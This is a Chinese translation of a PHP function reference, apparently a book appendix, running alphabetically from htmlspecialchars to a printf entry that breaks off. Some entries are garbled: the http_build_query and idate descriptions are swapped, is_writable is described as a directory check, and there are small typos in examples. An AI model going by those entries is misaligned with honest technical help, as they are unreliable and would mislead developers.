转换string中在 HTML 中具有特殊含义的字符,并返回结果字符串。使用了所有 HTML 标准中定义的常见字符实体的子集来执行转换。如果提供了style,则确定引号翻译的方式。转换的字符包括:

  • 和号(&)变成&amp;

  • 双引号(")变成&quot;

  • 单引号(')变成&#039;

  • 小于号(<)变成&lt;

  • 大于号(>)变成 &gt;

style 的可能取值与 htmlentities 中的相同。如果提供了 encoding,则确定字符的最终编码方式,其可能取值也与 htmlentities 中的相同。当 double_encode 关闭时,PHP 不会对已有的 htmlentities 进行编码。

htmlspecialchars_decode

string htmlspecialchars_decode(string string[, int style])

string 中的 HTML 实体转换为字符。使用的 HTML 实体子集覆盖了最常见的字符,用于执行转换。如果提供了 style,则决定引号的转换方式。有关 style 可能的取值,请参阅 htmlentities()。转换的字符是在 htmlspecialchars() 中找到的那些。

http_build_query

string http_build_query(mixed values[, string prefix [, string arg_separator [, int enc_type]]])

根据第一个参数中提供的 format 字符串,将时间和日期格式化为整数。如果未指定第二个参数,则使用当前的时间和日期。format 字符串中可以识别以下字符:

hypot

float hypot(float x, float y)

计算并返回直角三角形斜边的长度,其中其他两边的长度分别为 xy

idate

int idate(string format[, int timestamp])

返回一个 URL 编码的查询字符串,该字符串来自 values。数组值可以是数值索引或关联索引(或两者结合)。由于某些语言可能不允许严格的数值名称解析查询字符串(例如 PHP),如果在 values 中使用数值索引,则还应提供 prefixprefix 的值将添加到结果查询字符串中的所有数值名称之前。arg_separator 允许分配自定义分隔符,enc_type 选项允许选择不同的编码类型。

B 斯沃奇因特网时间
d 月份中的天数
h 12 小时制的小时数
H 24 小时制的小时数
i 分钟数
I 如果是夏令时则为 1;否则为 0
j 月份中的天数(例如,1 到 31)
L 如果年份不是闰年则为 0;如果是则为 1
m 月份(1 到 12)
s 秒数
t 月份中的天数,从 28 到 31
U 从 Unix 纪元开始计算的秒数
w 一周中的星期数,从星期日开始,用 0 表示
W 根据 ISO 8601 定义的年份中的周数
Y 四位数表示的年份(例如,1998)
y 一位或两位数字表示的年份(例如,98)
z 年份中的第几天,从 1 到 365
Z 时区偏移量(以秒为单位),从 −43200(UTC 的极西)到 43200(UTC 的极东)

format 字符串中不匹配上述任一内容的字符将被忽略。尽管 idate 中使用的字符字符串与 date 中的类似,但因为 idate 返回整数,在 date 返回带有前导零的两位数数字的地方,前导零不会保留;例如,对于 2005 年的时间戳,date('y'); 将返回 05,而 idate('y'); 将返回 5

ignore_user_abort

int ignore_user_abort([string ignore])

设置客户端断开连接时是否应停止处理 PHP 脚本。如果 ignoretrue,则脚本将继续处理,即使客户端断开连接。返回当前值;如果未提供 ignore,则返回当前值,而不设置新值。

implode

string implode(string separator, array strings)

返回由将 strings 中的每个元素用 separator 连接而创建的字符串。

inet_ntop

string inet_ntop(string address)

将打包的 IPv4 或 IPv6 IP 地址 address 解包并以人类可读的字符串形式返回。

inet_pton

string inet_pton(string address)

将人类可读的 IP 地址 address 打包成 32 位或 128 位值并返回。

in_array

bool in_array(mixed value, array array[, bool strict])

如果给定 value 存在于 array 中则返回 true。如果提供了第三个参数并且是 true,则该函数仅在元素存在于数组中且与提供的值具有相同类型时才返回 true(即数组中的 "1.23" 将不会与参数中的 1.23 匹配)。如果数组中未找到参数,则该函数返回 false

ini_get

string ini_get(string variable)

返回配置选项 variable 的值。如果 variable 不存在,则返回 false

ini_get_all

array ini_get_all([string extension [, bool details]])

以关联数组形式返回所有配置选项。如果指定了有效的 extension,则仅返回与该命名 extension 相关的值。如果 detailstrue(默认),则检索详细设置。数组中返回的每个值都是一个带有三个键的关联数组:

global_value 作为 php.ini 中设置的配置选项的全局值
local_value 通过 ini_set() 设置的配置选项的本地覆盖值,例如
access 一个位掩码,表示可以设置值的级别(有关访问级别的更多信息,请参阅 ini_set

ini_restore

void ini_restore(string variable)

运行完整个脚本后,通过 ini_set() 设置的所有配置选项将自动恢复。

ini_set

string ini_set(string variable, string value)

将配置选项 variable 设置为 value。如果成功,返回先前的值;否则返回 false。新值在当前脚本执行期间保持,并在脚本结束后恢复。

intdiv

int intdiv (int dividend, int vdivisor)

返回 dividend 除以 divisor 的商。商作为整数返回。

interface_exists

bool interface_exists(string name [, bool autoload_**interface])

返回 true 如果名为 name 的接口已定义,否则返回 false。默认情况下,函数将在接口上调用 __autoload();如果设置了 autoload_interface 并且为 false,则不会调用 __autoload()

intval

int intval(mixed value[, int base])

使用可选的基数 base 返回 value 的整数值(如果未指定,则使用基数 10)。如果 value 是非标量值(对象或数组),则函数返回 0

ip2long

int ip2long(string address)

将标点格式的 IP 地址转换为 IPv4 地址。

is_a

bool is_a(object object, string class [, bool allow_string])

返回 true 如果 objectclass 类的实例,或者其类有 class 作为其父类之一;否则返回 false。如果 allow_stringfalse,则不允许将字符串 class 名称作为 object

is_array

bool is_array(mixed value)

返回 true 如果 value 是数组;否则返回 false

is_bool

bool is_bool(mixed value)

如果 value 是布尔值,则返回 true;否则返回 false

is_callable

int is_callable(callable callback[, int lazy[, string name]])

返回 true 如果 callback 是有效的回调函数,否则返回 false。要有效,callback 必须是函数名或包含两个值的数组——一个对象和该对象上的方法名称。如果给出了 lazy 并且为 true,则不检查函数存在性(第一种形式)或 callback 的第一个元素是否为对象且该对象有名为第二个元素的方法。参数只需具有正确类型的值即可符合条件。如果提供了最后一个参数,该函数的可调用名称将填充到 name 中——尽管在回调是对象方法的情况下,name 中的结果名称实际上无法直接用于调用函数。

is_countable

bool is_countable(mixed variable)

验证 variable 的内容是否为 数组 或实现 Countable 的对象。

is_dir

bool is_dir(string path)

如果 path 存在且为目录,则返回 true;否则返回 false。此信息已缓存;你可以使用 clearstatcache() 清除缓存。

is_executable

bool is_executable(string path)

返回 true 如果 path 存在且可执行;否则返回 false。此信息已缓存;你可以使用 clearstatcache() 清除缓存。

is_file

bool is_file(string path)

如果 path 存在且是文件,则返回 true;否则返回 false。此信息已缓存;您可以使用 clearstatcache() 清除缓存。

is_finite

bool is_finite(float value)

如果 value 不是正或负无穷大,则返回 true;否则返回 false

is_float

bool is_float(mixed value)

如果 value 是浮点数,则返回 true;否则返回 false

is_infinite

bool is_infinite(float value)

如果 value 是正或负无穷大,则返回 true,否则返回 false

is_int

bool is_int(mixed value)

如果 value 是整数,则返回 true;否则返回 false

is_iterable

bool is_iterable(mixed value)

如果 value 是可迭代伪类型、数组或可遍历对象,则返回 true;否则返回 false

bool is_link(string path)

如果 path 存在且是符号链接文件,则返回 true;否则返回 false。此信息已缓存;您可以使用 clearstatcache() 清除缓存。

is_nan

bool is_nan(float value)

如果 value 是“非数字”值,则返回 true;如果 value 是数字,则返回 false

is_null

bool is_null(mixed value)

如果 value 是 null(即关键字 NULL),则返回 true;否则返回 false

is_numeric

bool is_numeric(mixed value)

如果 value 是整数、浮点数值或包含数字的字符串,则返回 true;否则返回 false

is_object

bool is_object(mixed value)

如果 value 是对象,则返回 true;否则返回 false

is_readable

bool is_readable(string path)

如果 path 存在且可读,则返回 true;否则返回 false。此信息已缓存;您可以使用 clearstatcache() 清除缓存。

is_resource

bool is_resource(mixed value)

如果 value 是资源,则返回 true;否则返回 false

is_scalar

bool is_scalar(mixed value)

如果 value 是标量值——整数、布尔值、浮点数值、资源或字符串,则返回 true。如果 value 不是标量值,则函数返回 false

is_string

bool is_string(mixed value)

如果 value 是字符串,则返回 true;否则返回 false

is_subclass_of

bool is_subclass_of(object object, string class [, bool allow_string])

如果 objectclass 类或 class 类的子类的实例,则返回 true。否则,返回 false。如果 allow_string 参数设置为 false,则不允许 class “作为对象”。

is_uploaded_file

bool is_uploaded_file(string path)

如果 path 存在且是通过 web 页面表单中的 file 元素上传到 Web 服务器的文件,则返回 true;否则返回 false。有关使用上传文件的更多信息,请参见第八章。

is_writable

bool is_writable(string path)

如果 path 存在并且是一个目录,则返回 true;否则返回 false。这些信息被缓存;您可以使用 clearstatcache() 清除缓存。

isset

bool isset(mixed value1[, ... mixed valueN])

如果已设置变量 value,则返回 true;如果变量从未设置过或已经被 unset(),则返回 false。如果提供了多个 values,则只有当它们都设置了时,isset 才会返回 true

json_decode

mixed json_decode(string json, [bool assoc [, int depth [, int options]]])

将一个 JSON 编码的字符串 json 转换为 PHP 变量。如果无法解码 JSON,则返回 NULL。当 assoctrue 时,对象将转换为关联数组。depth 是用户控制的递归级别。options 控制如何替代返回字符串中提供的一些数据。

json_encode

mixed json_encode(mixed value [, int options [, int depth]])

返回包含 value 的 JSON 表示的字符串。options 控制如何替代返回字符串中提供的一些数据。如果使用了 depth,它必须大于零。

key

mixed key(array &array)

返回当前由内部数组指针指向的元素的键名。

krsort

int krsort(array array[, int flags])

通过键名以逆序对数组进行排序,保留数组值的键名。可选的第二个参数包含额外的排序标志。有关使用此函数的更多信息,请参阅 第五章 和 sort

ksort

int ksort(array array[, int flags])

通过键名对数组进行排序,保留数组值的键名。可选的第二个参数包含额外的排序标志。有关使用此函数的更多信息,请参阅 第五章 和 sort

lcfirst

string lcfirst(string string)

返回一个字符串,其中第一个字符(如果是字母)将转换为小写。用于转换字符的表是特定于区域设置的。

lcg_value

float lcg_value()

返回一个介于 0 和 1 之间的伪随机浮点数,使用线性同余数生成器。

lchgrp

bool lchgrp(string path, mixed group)

将符号链接 path 的组更改为 group;PHP 必须具有适当的特权才能使此函数正常工作。如果更改成功,则返回 true;如果不成功,则返回 false

lchown

bool lchown(string path, mixed user)

将符号链接 path 的所有权更改为名为 user 的用户。PHP 必须具有适当的特权(通常是 root)才能使函数正常工作。如果更改成功,则返回 true;如果不成功,则返回 false

levenshtein

int levenshtein(string one, string two[, int insert, int replace,int delete]) int levenshtein(string one, string two[, mixed callback])

计算两个字符串之间的 Levenshtein 距离。这是将one转换为two所需的替换、插入或删除字符数。默认情况下,替换、插入和删除具有相同的成本,但可以使用insertreplacedelete指定不同的成本。在第二种形式中,仅返回插入、替换和删除的总成本,而不是分解成部分成本。

bool link(string path, string new)

在路径 new 处创建到 path 的硬链接。如果成功创建链接,则返回true,否则返回false

linkinfo

int linkinfo(string path)

如果path是一个链接并且path引用的文件存在,则返回true。如果path不是链接,path引用的文件不存在或发生错误,则返回false

list

array list(mixed value1[, ... valueN])

从数组中的元素分配一组变量。例如:

list($first, $second) = array(1, 2); // $first = 1, $second = 2
注意

list 实际上是一种语言结构。

localeconv

array localeconv()

返回当前区域设置的数字和货币格式的关联数组信息。数组包含以下元素:

decimal_point 小数点字符
thousands_sep 千位分隔符字符
grouping 数字分组的数组;指示数字应在哪里使用千位分隔符字符分隔
int_curr_symbol 国际货币符号(例如,USD)
currency_symbol 本地货币符号(例如,$)
mon_decimal_point 货币值的小数点字符
mon_thousands_sep 用于货币值中千位分隔符的分隔符字符
positive_sign 正值的符号
negative_sign 负值的符号
int_frac_digits 国际小数位数
frac_digits 本地小数位数
p_cs_precedes 如果本地货币符号在正值之前,则为true;如果在值之后,则为false
p_sep_by_space 如果本地货币符号与正值之间有空格,则为true
p_sign_posn 如果符号用括号括起来且用于正值和货币符号,则为0;如果符号在货币符号和值之前,则为1;如果符号在货币符号和值之后,则为2;如果符号在货币符号之前,则为3;如果符号在货币符号之后,则为4
n_cs_precedes 如果本地货币符号在负值之前,则为true;如果在值之后,则为false
n_sep_by_space 如果本地货币符号与负值之间有空格,则为true
n_sign_posn 如果符号用括号括起来且用于负值和货币符号,则为0;如果符号在货币符号和值之前,则为1;如果符号在货币符号和值之后,则为2;如果符号在货币符号之前,则为3;如果符号在货币符号之后,则为4

localtime

array localtime([int timestamp[, bool associative]])

返回与同名 C 函数所给定的值数组。第一个参数是时间戳;如果提供第二个参数并且为true,则将作为关联数组返回值。如果未提供第二个参数或为false,则返回数字数组。返回的键和值为:

tm_sec 秒数
tm_min 分钟数
tm_hour 小时数
tm_mday 月份中的日期
tm_mon 年份中的月份
tm_year 自 1900 年以来的年数
tm_wday 星期中的日期
tm_yday 年份中的日数
tm_isdst 如果日期和时间处于夏令时,则为1

如果返回数字数组,则其值按上述顺序给出。

log

float log(float number [, float base ])

返回number的自然对数。base选项控制将使用的对数基数;默认为e,即自然对数。

log10

float log10(float number )

返回number的十进制对数。

log1p

float log1p(float number )

返回log(1 + number ),以确保即使number接近零,返回的值也是准确的。

long2ip

string long2ip(string address )

将 IPv4 地址转换为点分(标准格式)地址。

lstat

array lstat(string path )

返回关于文件path的信息的关联数组。如果path是符号链接,则返回关于path的信息,而不是指向的文件的信息。参见fstat以获取返回的值及其含义的列表。

ltrim

string ltrim(string string [, string characters ])

返回从characters中剥离开头的所有字符的string。如果未指定characters,则剥离的字符为\n\r\t\v\0和空格。

mail

bool mail(string recipient , string subject , string message [, string headers [, string parameters ]])

message通过电子邮件发送给recipient,并在成功发送时返回true,如果发送失败则返回false。如果指定了headers,则将其添加到为消息生成的标题末尾,允许您添加 cc:、bcc:和其他标题。要添加多个标题,请使用\n字符(或 Windows 服务器上的\r\n字符)分隔它们。最后,如果指定了parameters,则将其添加到用于发送邮件的邮件程序的参数中。

max

mixed max(mixed value1 [, mixed value2 [, ... mixed valueN ]])

如果value1是一个数组,则返回数组值中的最大数值。如果不是,则返回参数中的最大数值。

md5

string md5(string string [, bool binary ])

计算string的 MD5 加密哈希并返回。如果binary选项为true,则返回的 MD5 哈希以原始二进制格式(长度为 16);binary默认为false,因此md5返回一个完整的 32 字符十六进制字符串。

md5_file

string md5_file(string path[, bool binary])

计算并返回path处文件的 MD5 加密哈希值。MD5 哈希是一个 32 字符的十六进制值,可用于对文件数据进行校验和。如果提供了binary并且为true,则结果将作为 16 位二进制值发送。

memory_get_peak_usage

int memory_get_peak_usage([bool actual])

返回当前运行脚本的迄今为止的最大内存使用量(以字节为单位)。如果指定了actual且为true,则返回实际分配的字节数;否则,返回通过 PHP 内部内存分配例程分配的字节数。

memory_get_usage

int memory_get_usage([bool actual])

返回当前运行脚本的内存使用量(以字节为单位)。如果指定了actual且为true,则返回实际分配的字节数;否则,返回通过 PHP 内部内存分配例程分配的字节数。

metaphone

string metaphone(string string, int max_phonemes)

计算string的 metaphone 键。在计算值时,使用的最大音素数由max_phonemes指定。发音相似的英语单词生成相同的键。

method_exists

bool method_exists(object object, string name)

如果对象包含第二个参数指定名称的方法,则返回true,否则返回false。方法可以在对象是其实例的类中定义,或者在该类的任何超类中定义。

microtime

mixed microtime([ bool get_as_float])

返回以秒数自 Unix 纪元(1970 年 1 月 1 日)起的秒数微秒格式的字符串,其中seconds是秒数,microseconds是自 Unix 纪元以来的微秒部分。如果get_as_floattrue,则返回浮点数而不是字符串。

min

mixed min(mixed value1[, mixed value2[, ... mixed valueN]])

如果value1是数组,则返回数组值中找到的最小数。否则,返回参数中找到的最小数。

mkdir

bool mkdir(string path[, int mode [, bool recursive [, resource context]]])

创建具有mode权限的目录pathmode期望是八进制数字,如0755。像755这样的整数值或像"u+x"这样的字符串值将无法按预期工作。如果操作成功,则返回true,否则返回false。如果使用了递归参数,允许创建嵌套目录。

mktime

int mktime(int hours, int minutes, int seconds, int month, int day, int year [, int is_dst])

返回与参数对应的 Unix 时间戳值,参数顺序为hoursminutessecondsmonthdayyear,以及(可选)时间是否处于夏令时。此时间戳是 Unix 纪元和给定日期时间之间经过的秒数。

参数的顺序与标准的 Unix mktime()调用不同,使得可以更简单地忽略不需要的参数。任何省略的参数都将使用当前的本地日期和时间。

move_uploaded_file

bool move_uploaded_file(string from, string to)

将文件从from移动到新位置to。该函数仅在from通过 HTTP POST上传时才移动文件。如果from不存在或不是已上传的文件,或者发生任何其他错误,则返回false;如果操作成功,则返回true

mt_getrandmax

int mt_getrandmax()

返回mt_rand()可以返回的最大值。

mt_rand

int mt_rand([int min, int max])

返回使用 Mersenne Twister 伪随机数生成器生成的从minmax之间的随机数(包括minmax)。如果没有提供minmax,则返回从 0 到mt_getrandmax()返回值之间的随机数。

mt_srand

void mt_srand(int seed)

使用seed初始化 Mersenne Twister 生成器。在调用mt_rand()之前,应该使用类似time()返回的变化的数值来调用此函数。

natcasesort

void natcasesort(array array)

使用不区分大小写的“自然顺序”算法对给定数组的元素进行排序;有关更多信息,请参阅natsort

natsort

bool natsort(array array)

使用“自然顺序”对数组的值进行排序:数字值按语言预期的方式排序,而不是计算机通常强迫将它们放入的怪异顺序(ASCII 顺序)。例如:

$array = array("1.jpg", "4.jpg", "12.jpg", "2,.jpg", "20.jpg");
$first = sort($array); // ("1.jpg", "12.jpg", "2.jpg", "20.jpg", "4.jpg")
$second = natsort($array); // ("1.jpg", "2.jpg", "4.jpg", "12.jpg", "20.jpg")

next

mixed next(array array)

将内部指针增加到当前元素后的元素,并返回现在指针指向的元素的值。如果内部指针已经指向数组中最后一个元素之后,则函数返回false

使用此函数迭代数组时要小心——如果数组包含空元素或键值为0的元素,则返回等效于false的值,导致循环结束。如果数组可能包含空元素或键值为0的元素,请改用each函数而不是带有next的循环。

nl_langinfo

string nl_langinfo(int item)

返回当前区域设置中关于item的信息字符串;item是许多不同值之一,例如日期名称、时间格式字符串等。实际的可能值因 C 库的不同实现而异;请参阅您的机器上的<langinfo.h>获取您的操作系统的值。

nl2br

string nl2br(string string [, bool xhtml_lb])

string中的所有换行字符前插入<br />,并返回新字符串。如果xhtml_lbtrue,则nl2br将使用符合 XHTML 的换行符。

number_format

string number_format(float number[, int precision[, string decimal_separator, string thousands_separator]])

创建number的字符串表示。如果给定precision,则将数字四舍五入到指定的小数位数;默认为不保留小数位数,创建整数。如果提供decimal_separatorthousands_separator,它们将分别用作小数点字符和千位分隔符,默认为英语区域设置版本(.,)。例如:

$number = 7123.456;
$english = number_format($number, 2); // 7,123.45
$francais = number_format($number, 2, ',', ' '); // 7 123,45
$deutsche = number_format($number, 2, ',', '.'); // 7.123,45

如果进行四舍五入,则执行适当的四舍五入,这可能不是您期望的(参见round)。

ob_clean

void ob_clean()

清空输出缓冲区的内容。与ob_end_clean()不同,输出缓冲区不会被关闭。

ob_end_clean

bool ob_end_clean()

关闭输出缓冲并清空当前缓冲区,但不发送到客户端。更多关于使用输出缓冲的信息,请参见第十五章。

ob_end_flush

bool ob_end_flush()

将当前输出缓冲区发送到客户端并停止输出缓冲。更多关于使用输出缓冲的信息,请参见第十五章。

ob_flush

void ob_flush()

将输出缓冲区的内容发送到客户端并丢弃内容。与调用ob_end_flush()不同,不会关闭输出缓冲区本身。

ob_get_clean

string ob_get_clean()

返回输出缓冲区的内容并结束输出缓冲。

ob_get_contents

string ob_get_contents()

返回当前输出缓冲区的内容;如果之前未使用ob_start()启用缓冲,则返回false。更多关于使用输出缓冲的信息,请参见第十五章。

ob_get_flush

string ob_get_flush()

返回输出缓冲区的内容,将输出缓冲刷新到客户端,并结束输出缓冲。

ob_get_length

int ob_get_length()

返回当前输出缓冲区的长度,如果输出缓冲未启用,则返回false。更多关于使用输出缓冲的信息,请参见第十五章。

ob_get_level

int ob_get_level()

返回嵌套输出缓冲区的计数,如果当前未启用输出缓冲,则返回0

ob_get_status

array ob_get_status([bool verbose])

返回有关当前输出缓冲区的状态信息。如果提供了verbose并且为true,则返回所有嵌套输出缓冲区的信息。

ob_gzhandler

string ob_gzhandler(string buffer[, int mode])

此函数在将输出发送到浏览器之前对其进行gzip压缩。不直接调用此函数,而是使用ob_start()函数进行输出缓冲的处理。要启用gzip压缩,请使用此函数的名称调用ob_start()

<ob_start("ob_gzhandler");>

ob_implicit_flush

void ob_implicit_flush([int flag])

如果 flagtrue 或未指定,则打开具有隐式刷新的输出缓冲。启用隐式刷新时,输出缓冲在任何输出(如 printf()echo() 函数)后被清除并发送到客户端。有关使用输出缓冲的更多信息,请参见 第十五章。

ob_list_handlers

array ob_list_handlers()

返回一个数组,其中包含活动输出处理程序的名称。如果启用了 PHP 的内置输出缓冲,数组包含值 default output handler。如果没有活动的输出处理程序,则返回一个空数组。

ob_start

bool ob_start([string callback [, int chunk [, bool erase]]])

打开输出缓冲,导致所有输出都累积在缓冲区中,而不直接发送到浏览器。如果指定了 callback,它是一个函数(在将输出缓冲发送到客户端之前调用),可以以任何方式修改数据;提供了 ob_gzhandler() 函数以客户端感知的方式压缩输出缓冲。chunk 选项可用于在缓冲区大小等于块号时触发刷新缓冲区。如果将 erase 选项设置为 false,则缓冲区将在脚本结束时才被删除。有关使用输出缓冲的更多信息,请参见 第十五章。

octdec

number octdec(string octal)

octal 转换为其十进制值。最多可以转换为 32 位数字,或者十进制的 2,147,483,647(017777777777 八进制)。

opendir

resource opendir(string path[, resource context])

打开目录 path 并返回一个目录句柄,用于后续调用 readdir()rewinddir()closedir()。如果 path 不是有效的目录,如果权限不允许 PHP 进程读取目录,或者发生任何其他错误,则返回 false

openlog

bool openlog(string identity, int options, int facility)

打开到系统日志记录器的连接。每个使用后续调用 syslog() 发送到记录器的消息都以 identity 开头。可以通过 options 指定各种选项;OR 任何你想要包括的选项。有效的选项包括:

LOG_CONS 如果在写入系统日志时发生错误,则将错误写入系统控制台
LOG_NDELAY 立即打开系统日志
LOG_ODELAY 直到写入第一条消息时才延迟打开系统日志
LOG_PERROR 将此消息打印到标准错误输出,同时写入系统日志
LOG_PID 每条消息中包含进程 ID

第三个参数 facility 告诉系统日志正在记录到系统日志的程序类型。以下设施可用:

LOG_AUTH 安全和授权错误(已弃用;如果有 LOG_AUTHPRIV 可用,请使用它)
LOG_AUTHPRIV 安全和授权错误
LOG_CRON 时钟守护进程(cronat)错误
LOG_DAEMON 系统守护程序的错误
LOG_KERN 内核错误
LOG_LPR 行打印子系统错误
LOG_MAIL 邮件错误
LOG_NEWS USENET 新闻系统错误
LOG_SYSLOG syslogd 内部生成的错误
LOG_AUTHPRIV 安全和授权错误
LOG_USER 通用用户级错误
LOG_UUCP UUCP 错误

ord

int ord(string string)

返回 string 中第一个字符的 ASCII 值。

output_add_rewrite_var

bool output_add_rewrite_var(string name, string value)

开始使用值重写输出处理程序,通过将名称和值附加到所有 HTML 锚点元素和表单来实现。例如:

output_add_rewrite_var('sender', 'php');

echo "<a href=\"foo.php\">\n";
echo '<form action="bar.php"></form>';

// outputs:
// <a href="foo.php?sender=php">
// <form action="bar.php"><input type="hidden" name="sender" value="php" />
// </form>

output_reset_rewrite_vars

bool output_reset_rewrite_vars()

重置值写入输出处理程序;如果值写入输出处理程序正在生效,则任何尚未刷新的输出在调用此方法后将不再受重写的影响,即使在此调用之前已放入缓冲区。

pack

string pack(string format, mixed arg1[, mixed arg2[, ... mixed argN]])

创建一个包含根据格式字符串对给定参数进行打包的二进制字符串。每个字符后面可以跟随一系列用于该格式的参数,或者一个星号(*),表示使用所有输入数据的剩余参数。如果未指定重复参数,则每个格式字符将使用一个参数。以下字符在 format 字符串中有特殊含义:

a 以 NUL 字节填充的字符串
A 空格填充的字符串
h 十六进制字符串,低半字节在前
H 十六进制字符串,高半字节在前
c 有符号字符型
C 无符号字符型
s 16 位,机器相关字节顺序的有符号短整型
S 16 位,机器相关字节顺序的无符号短整型
n 16 位,大端字节顺序的无符号短整型
v 16 位,小端字节顺序的无符号短整型
i 机器相关大小和字节顺序的有符号整型
I 机器相关大小和字节顺序的无符号整型
l 机器相关字节顺序的有符号长整型
L 32 位,机器相关字节顺序的无符号长整型
N 32 位,大端字节顺序的无符号长整型
V 32 位,小端字节顺序的无符号长整型
f 机器相关大小和表示的浮点型
d 机器相关大小和表示的双精度浮点型
x NUL 字节
X 向后备份一个字节
@ 用 NUL 字节填充到绝对位置(由重复参数给出)

parse_ini_file

array parse_ini_file(string filename[, bool process_sections[, int scanner_mode]])

载入 filename — 必须是标准 php.ini 格式的文件 — 并将其中的值作为关联数组返回,如果无法解析文件,则返回 false。如果设置了 process_sections 且为 true,则返回包含文件各部分值的多维数组。scanner_mode 选项为 INI_SCANNER_NORMAL(默认),或 INI_SCANNER_RAW,表示函数不应解析选项值。

parse_ini_string

array parse_ini_string(string config[, bool process_sections[, int scanner_mode]])

解析 php.ini 格式的字符串,并将其中的值作为关联数组返回,如果无法解析字符串,则返回 false。如果设置了 process_sections 且为 true,则返回包含文件各部分值的多维数组。scanner_mode 选项为 INI_SCANNER_NORMAL(默认),或 INI_SCANNER_RAW,表示函数不应解析选项值。

parse_str

void parse_str(string string[, array variables])

解析 string,就像来自 HTTP POST 请求一样,将找到的值设置为本地作用域中的变量。如果提供了 variables,则使用字符串中的键和值设置数组。

parse_url

mixed parse_url(string url[, int component])

返回包含 url 的各组成部分信息的关联数组。数组包含以下值:

fragment URL 中的命名锚点
host 主机名
pass 用户的密码
path 请求的路径(可能是目录或文件)
port 协议使用的端口
query 查询信息
scheme URL 中的协议,如 “http”
user URL 中提供的用户

数组不包含 URL 中未指定的组件值。例如:

$url = "http://www.oreilly.net/search.php#place?name=php&type=book";
$array = parse_url($url);
print_r($array); // contains values for "scheme", "host", "path", "query",
 // and "fragment"

如果提供了组件选项,则仅返回 URL 的特定组件。

passthru

void passthru(string command[, int return])

通过 shell 执行 command 并将命令的结果输出到页面。如果指定了 return,则将其设置为命令的返回状态。如果想捕获命令的结果,请使用 exec()

pathinfo

mixed pathinfo(string path[, int options])

返回包含关于 path 的信息的关联数组。如果给定了 options 参数,则指定要返回的特定元素。PATHINFO_DIRNAMEPATHINFO_BASENAMEPATHINFO_EXTENSIONPATHINFO_FILENAME 是有效的 options 值。

返回的数组包括以下元素:

dirname path 所在的目录
basename path 的基本名称(参见 basename),包括文件的扩展名。
extension 文件名的扩展名(如果有)。不包括扩展名开头的句点。

pclose

int pclose(resource handle)

关闭由handle引用的管道。返回在管道中运行的进程的终止代码。

pfsockopen

resource pfsockopen(string host, int port[, int error[, string message [, float timeout]]])

在特定port上对远程host开启持久的 TCP 或 UDP 连接。默认情况下使用 TCP;若要通过 UDP 连接,host必须以udp://开头。如果指定了timeout,则表示等待超时的秒数。

如果连接成功,则该函数返回一个虚拟文件指针,可用于函数(如fgets()fputs())。如果连接失败,则返回false。如果提供了errormessage,则设置为错误号和错误字符串,分别。

fsockopen()不同,此函数打开的套接字在完成读取或写入操作后不会自动关闭;您必须显式调用fsclose()关闭它。

php_ini_loaded_file

string php_ini_loaded_file()

如果存在当前的php.ini文件,则返回其路径;否则返回false

php_ini_scanned_files

string php_ini_scanned_files()

返回包含 PHP 启动时解析的配置文件名称的字符串列表,以逗号分隔。如果编译时配置选项--with-config-file-scan-dir未设置,则返回false

php_logo_guid

string php_logo_guid()

返回一个用于链接到 PHP 标志的 ID。例如:

<?php $current = basename($PHP_SELF); ?>
<img src="<?= "$current?=" . php_logo_guid(); ?>" border="0" />

php_sapi_name

string php_sapi_name()

返回描述 PHP 运行的服务器 API 的字符串,例如,"cgi""apache"

php_strip_whitespace

string php_strip_whitespace(string path)

返回从文件path中去除空白和注释标记的源代码字符串。

php_uname

string php_uname(string mode)

返回描述 PHP 运行的操作系统的字符串。mode参数是一个单字符,用于控制返回内容。可能的值包括:

a(默认) 包括所有模式(snrvm
s 操作系统的名称
n 主机名
r 发布名称
v 版本信息
m 机器类型

phpcredits

bool phpcredits([int what])

输出有关 PHP 及其开发人员的信息;显示的信息基于what的值。要使用多个选项,请将值进行OR运算。what的可能值包括:

CREDITS_ALL(默认) 除了CREDITS_SAPI之外的所有贡献
CREDITS_GENERAL PHP 的一般贡献信息
CREDITS_GROUP PHP 核心开发人员列表
CREDITS_DOCS 文档团队信息
CREDITS_MODULES 当前加载的扩展模块及其各自的作者列表
CREDITS_SAPI 服务器 API 模块及其各自的作者列表
CREDITS_FULLPAGE 表示应返回完整的 HTML 页面,而不仅仅是 HTML 代码片段。必须与一个或多个其他选项一起使用,例如phpcredits(CREDITS_MODULES &#124; CREDITS_FULLPAGE)

phpinfo

bool phpinfo([int what])

输出有关当前 PHP 环境状态的大量信息,包括加载的扩展、编译选项、版本、服务器信息等等。如果指定了what,可以限制输出到特定的信息片段;what可以包含多个使用OR操作符连接的选项。what的可能取值有:

INFO_ALL(默认) 所有信息
INFO_GENERAL PHP 的一般信息
INFO_CREDITS PHP 的贡献者信息,包括作者
INFO_CONFIGURATION 配置和编译选项
INFO_MODULES 当前加载的扩展
INFO_ENVIRONMENT PHP 环境信息
INFO_VARIABLES 当前变量及其值的列表
INFO_LICENSE PHP 许可证

phpversion

string phpversion(string extension)

返回当前运行的 PHP 解析器的版本。如果使用extension选项,并命名特定的扩展,那么将仅返回关于该扩展的版本信息。

pi

float pi()

返回 pi 的近似值(3.14159265359)。

popen

resource popen(string command, string mode)

打开一个到通过在 shell 上运行command执行的进程的管道。

参数mode指定以只读或只写的权限打开文件的模式。mode必须是以下之一:

r 以读取模式打开文件;文件指针将位于文件的开头
w 以写入模式打开文件。如果文件存在,则将其截断为零长度;如果文件不存在,则创建该文件

如果在尝试打开管道时发生任何错误,则返回false。如果成功打开管道,则返回管道的资源句柄。

pow

number pow(number base, number exponent)

返回baseexponent次幂。如果可能,返回值是整数;否则为浮点数。

prev

mixed prev(array array)

将内部指针移动到其当前位置之前的元素,并返回内部指针现在设置的元素的值。如果内部指针已经设置为数组的第一个元素,则返回false。在使用此函数迭代数组时要小心——如果数组具有空元素或键值为0的元素,则返回等效于false的值,导致循环结束。如果数组可能包含空元素或键为0的元素,请改用each()函数而不是使用prev()的循环。

mixed print_r(mixed value[, bool return])

以人类可读的方式输出 value。如果 value 是字符串、整数或浮点数,则输出该值;如果是数组,则显示键和元素;如果是对象,则显示对象的键和值。此函数返回 true。如果将 return 设置为 true,则返回输出而不是显示。

printf

int printf(string format[, mixed arg1 ...])

输出通过使用 format 和给定参数创建的字符串。参数放置到字符串中的各个位置,这些位置由 format 字符串中的特殊标记表示。

每个标记以百分号(%)开头,并按顺序包含以下元素。除了类型说明符外,所有说明符都是可选的。要在字符串中包含百分号,请使用 %%

  1. 强制使用符号(-或+)的可选符号说明符。默认情况下,仅在数字为负数时使用-号。此外,此说明符强制正数附加+号。

